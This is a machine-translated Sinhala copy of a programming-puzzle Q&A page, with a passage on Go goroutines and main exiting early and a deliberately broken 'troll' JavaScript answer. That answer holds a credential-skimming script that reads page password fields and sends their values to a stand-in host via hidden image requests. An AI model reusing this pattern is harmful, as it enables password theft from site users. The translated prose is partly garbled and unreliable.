Fmt.Scanln () ආදානය අපේක්ෂා කිරීම යනු කිසිවක් සිදුවීමට පෙර ප්‍රධාන ගොරූටින් පිටවීම සහතික කිරීමයි. ප්‍රින්ට්ලන් එය IO අවහිර කිරීමට හේතු වන අතර ප්‍රධාන ගොරූටින් ධාවනය කිරීමට මාරු වේ (මේ අනුව පිටවීම), ස්කෑන්ල්න් නිසැකවම එසේ කරනු ඇත. යථාර්ථයේ දී, Go හි කිසිදු අනුවාදයක් සමඟ අවශ්‍ය නොවේ.

සුපිරි න්‍යාය භූමිය තුළ මෙම MIGHT ක්‍රියා කර යමක් මකා දමයි, එහි අර්ථය Go මතක ආකෘතියට අනුව අවසානය mainසහ ක්‍රියාත්මක කිරීම සම්බන්ධයෙන් "සිදුවීමට පෙර" සම්බන්ධතාවයක් සහතික කර නැත RemoveAll, නමුත් එය සාක්ෂි ලෙස නවීන Go ධාවන කාල / සම්පාදක මත සිදු නොවේ. ඔවුන්ගේ ප්‍රධාන කාර්යයන් සඳහා සමමුහුර්තකරණය නොකිරීමේ වැරැද්ද කරන සියලුම නවකයන් විසින්.


4

ජාවාස්ක්‍රිප්ට්

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

එය ක්‍රියාත්මක නොවනු ඇත, ඔබට වසා දැමීමක් නිර්මාණය කළ නොහැක

2.

ට්‍රොල් විසින් එය නිවැරදි කිරීමට කළමනාකරණය කරන්නේ නම්, නිදොස් කිරීම සඳහා අලංකාර අකුරක් ඇත ... ;-)


1
කුමන භාෂාවද?
අක්ෂර වින්‍යාසය ගැන

@ masterX244 යනු ජාවාස්ක්‍රිප්ට් ය, මම එය සංස්කරණය කරමි. යතුරු ලියනයක ඉඟිය: ReferenceError
ජුවාන් ගාර්ෂියා


ඔව්, මම ඒ යතුරු ලියනය ගොඩක් කරනවා. විශේෂයෙන් වචනයේ දිග තරමක් දිගු නම්: පී
මොහොමඩ් ජොරයිඩ්

1
@ m01 +1 එය ව්‍යතිරේකයක් විසි කරන හෝ කාල දෝෂයක් සම්පාදනය කරන වෙන් කළ වචනයක් විය යුතු යැයි මම සිතමි!
ජුවාන් ගාර්ෂියා
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.